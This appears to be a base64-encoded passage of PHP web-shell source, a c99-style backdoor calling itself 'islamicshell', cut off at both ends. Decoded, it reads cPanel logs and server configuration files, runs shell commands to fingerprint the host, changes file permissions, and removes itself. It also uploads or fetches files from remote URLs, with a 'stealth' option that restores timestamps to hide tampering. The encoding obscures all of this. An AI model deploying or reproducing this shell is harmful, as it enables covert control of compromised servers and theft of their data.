lbnQudG9kby5zdWJtaXQoKTtcIj48dT48Yj5WaWV3IGNwYW5lbCB1c2VyLWRvbWFpbnMgbG9nczwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9J2FjY291bnRpbmcubG9nJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCIvdmFyL2NwYW5lbC8iKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSd0eHQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PHU+PGI+VmlldyBjcGFuZWwgbG9nczwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSdodHRwZC5jb25mJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mIikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0ndHh0Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPkFwYWNoZSBjb25maWd1cmF0aW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSdodHRwZC5jb25mJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCIvZXRjIikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0ndHh0Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPkFwYWNoZSBjb25maWd1cmF0aW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9zeXNsb2cuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nc3lzbG9nLmNvbmYnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoIi9ldGMiKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSd0eHQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PHU+PGI+U3lzbG9nIGNvbmZpZ3VyYXRpb24gKHN5c2xvZy5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9tb3RkIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSdtb3RkJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCIvZXRjIikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0ndHh0Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPk1lc3NhZ2UgT2YgVGhlIERheTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9ob3N0cyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0naG9zdHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoIi9ldGMiKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSd0eHQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PHU+PGI+SG9zdHM8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHtpZiAoIWVtcHR5KCR2YWx1ZSkpIHtpZiAoIWVtcHR5KCRuYW1lKSkgeyRuYW1lID0gIjxiPiIuJG5hbWUuIiAtIDwvYj4iO30gZWNobyAkbmFtZS5ubDJicigkdmFsdWUpLiI8YnI+Ijt9fQ0KIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uPyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy92ZXJzaW9uIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJLZXJuZWwgdmVyc2lvbj8iLG15c2hlbGxleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7DQogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiQ1BVPyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy9jcHVpbmZvIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJSQU0iLG15c2hlbGxleGVjKCJmcmVlIC1tIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJIREQgc3BhY2UiLG15c2hlbGxleGVjKCJkZiAtaCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiTGlzdCBvZiBBdHRyaWJ1dGVzIixteXNoZWxsZXhlYygibHNhdHRyIC1hIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJNb3VudCBvcHRpb25zICIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2ZzdGFiIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBseW54IGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBseW54IikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBsaW5rcyBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbGlua3MiKSk7DQogZGlzcGxheXNlY2luZm8oIklzIGZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgR0VUIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBHRVQiKSk7DQogZGlzcGxheXNlY2luZm8oIklzIHBlcmwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7DQogZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIGFwYWNoZSIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgYXBhY2hlIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBwZXJsPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsNCiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIHByb2Z0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwcm9mdHBkLmNvbmYiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBodHRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBteS5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwc3libmMuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwc3libmMuY29uZiIpKTsNCn0NCmlmICgkYWN0ID09ICJta2ZpbGUiKQ0Kew0KIGlmICgkbWtmaWxlICE9ICRkKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9DQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9DQogIGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30NCiB9DQogZWxzZSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCn0NCmlmICgkYWN0ID09ICJmc2J1ZmYiKQ0Kew0KICRhcnJfY29weSA9ICRzZXNzX2RhdGFbImNvcHkiXTsNCiAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOw0KIGlmIChjb3VudCgkYXJyKSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5CdWZmZXIgaXMgZW1wdHkhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2Uge2VjaG8gIjxiPkZpbGUtU3lzdGVtIGJ1ZmZlcjwvYj48YnI+PGJyPiI7ICRsc19hcnIgPSAkYXJyOyAkZGlzcF9mdWxscGF0aCA9IFRSVUU7ICRhY3QgPSAibHMiO30NCn0NCmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikNCnsNCiBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpDQogew0KICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGlzbGFtaWNzaGVsbCAiLiRzaHZlci4iISI7IGM5OXNoZXhpdCgpOyB9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogIGlmICghZW1wdHkoJHJuZGNvZGUpKSB7ZWNobyAiPGI+RXJyb3I6IGluY29ycmVjdCBjb25maW1hdGlvbiE8L2I+Ijt9DQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsNCiAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJzZWFyY2giKQ0Kew0KIGVjaG8gIjxiPlNlYXJjaCBpbiBmaWxlLXN5c3RlbTo8L2I+PGJyPiI7DQogaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNlYXJjaF9pbiA9ICRkO30NCiBpZiAoZW1wdHkoJHNlYXJjaF9uYW1lKSkgeyRzZWFyY2hfbmFtZSA9ICIoLiopIjsgJHNlYXJjaF9uYW1lX3JlZ2V4cCA9IDE7fQ0KIGlmIChlbXB0eSgkc2VhcmNoX3RleHRfd3dvKSkgeyRzZWFyY2hfdGV4dF9yZWdleHAgPSAwO30NCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgJGZvdW5kID0gYXJyYXkoKTsNCiAgJGZvdW5kX2QgPSAwOw0KICAkZm91bmRfZiA9IDA7DQogICRzZWFyY2hfaV9mID0gMDsNCiAgJHNlYXJjaF9pX2QgPSAwOw0KICAkYSA9IGFycmF5DQogICgNCiAgICJuYW1lIj0+JHNlYXJjaF9uYW1lLCAibmFtZV9yZWdleHAiPT4kc2VhcmNoX25hbWVfcmVnZXhwLA0KICAgInRleHQiPT4kc2VhcmNoX3RleHQsICJ0ZXh0X3JlZ2V4cCI9PiRzZWFyY2hfdGV4dF9yZWd4cCwNCiAgICJ0ZXh0X3d3byI9PiRzZWFyY2hfdGV4dF93d28sDQogICAidGV4dF9jcyI9PiRzZWFyY2hfdGV4dF9jcywNCiAgICJ0ZXh0X25vdCI9PiRzZWFyY2hfdGV4dF9ub3QNCiAgKTsNCiAgJHNlYXJjaHRpbWUgPSBnZXRtaWNyb3RpbWUoKTsNCiAgJGluID0gYXJyYXlfdW5pcXVlKGV4cGxvZGUoIjsiLCRzZWFyY2hfaW4pKTsNCiAgZm9yZWFjaCgkaW4gYXMgJHYpIHtjOTlmc2VhcmNoKCR2KTt9DQogICRzZWFyY2h0aW1lID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHNlYXJjaHRpbWUsNCk7DQogIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICI8Yj5ObyBmaWxlcyBmb3VuZCE8L2I+Ijt9DQogIGVsc2UNCiAgew0KICAgJGxzX2FyciA9ICRmb3VuZDsNCiAgICRkaXNwX2Z1bGxwYXRoID0gVFJVRTsNCiAgICRhY3QgPSAibHMiOw0KICB9DQogfQ0KIGVjaG8gIjxmb3JtIG1ldGhvZD1QT1NUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj4NCjxiPlNlYXJjaCBmb3IgKGZpbGUvZm9sZGVyIG5hbWUpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cA0KPGJyPjxiPlNlYXJjaCBpbiAoZXhwbG9kZSBcIjtcIik6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX2luXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfaW4pKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9pbikuIlwiPg0KPGJyPjxicj48Yj5UZXh0OjwvYj48YnI+PHRleHRhcmVhIG5hbWU9XCJzZWFyY2hfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF90ZXh0KS4iPC90ZXh0YXJlYT4NCjxicj48YnI+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSByZWdleHANCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfd3dvXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X3d3byA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gPHU+dzwvdT5ob2xlIHdvcmRzIG9ubHkNCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfY3NcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfY3MgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGNhczx1PmU8L3U+IHNlbnNpdGl2ZQ0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9ub3RcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfbm90ID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBmaW5kIGZpbGVzIDx1Pk5PVDwvdT4gY29udGFpbmluZyB0aGUgdGV4dA0KPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTZWFyY2hcIj48L2Zvcm0+IjsNCiBpZiAoJGFjdCA9PSAibHMiKSB7JGRzcGFjdCA9ICRhY3Q7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+U2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+Ijt9DQp9DQppZiAoJGFjdCA9PSAiY2htb2QiKQ0Kew0KICRtb2RlID0gZmlsZXBlcm1zKCRkLiRmKTsNCiBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogZWxzZQ0KIHsNCiAgJGZvcm0gPSBUUlVFOw0KICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAwIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3JvdXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2htb2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOw0KICB9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInVwbG9hZCIpDQp7DQogJHVwbG9hZG1lc3MgPSAiIjsNCiAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7DQogaWYgKGVtcHR5KCR1cGxvYWRwYXRoKSkgeyR1cGxvYWRwYXRoID0gJGQ7fQ0KIGVsc2VpZiAoc3Vic3RyKCR1cGxvYWRwYXRoLC0xKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQ0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsNCiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKQ0KICB7DQogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30NCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkNCiAgew0KICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICBlbHNlDQogICB7DQogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgIGlmIChlbXB0eSgkZGVzdGluKSkNCiAgICB7DQogICAgICRpID0gMDsNCiAgICAgJGIgPSAiIjsNCiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319DQogICB9DQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQ0KICAgZWxzZQ0KICAgew0KICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOw0KICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICBpZiAoISRmcCkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB3cml0aW5nIHRvIGZpbGUgIi5odG1sc3BlY2lhbGNoYXJzKCRkZXN0aW4pLiIhPGJyPiI7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICBmY2xvc2UoJGZwKTsNCiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQogaWYgKCRtaW5pZm9ybSkNCiB7DQogIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOw0KICAkYWN0ID0gImxzIjsNCiB9DQogZWxzZQ0KIHsNCiAgZWNobyAiPGI+RmlsZSB1cGxvYWQ6PC9iPjxicj48Yj4iLiR1cGxvYWRtZXNzLiI8L2I+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInVwbG9hZFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cI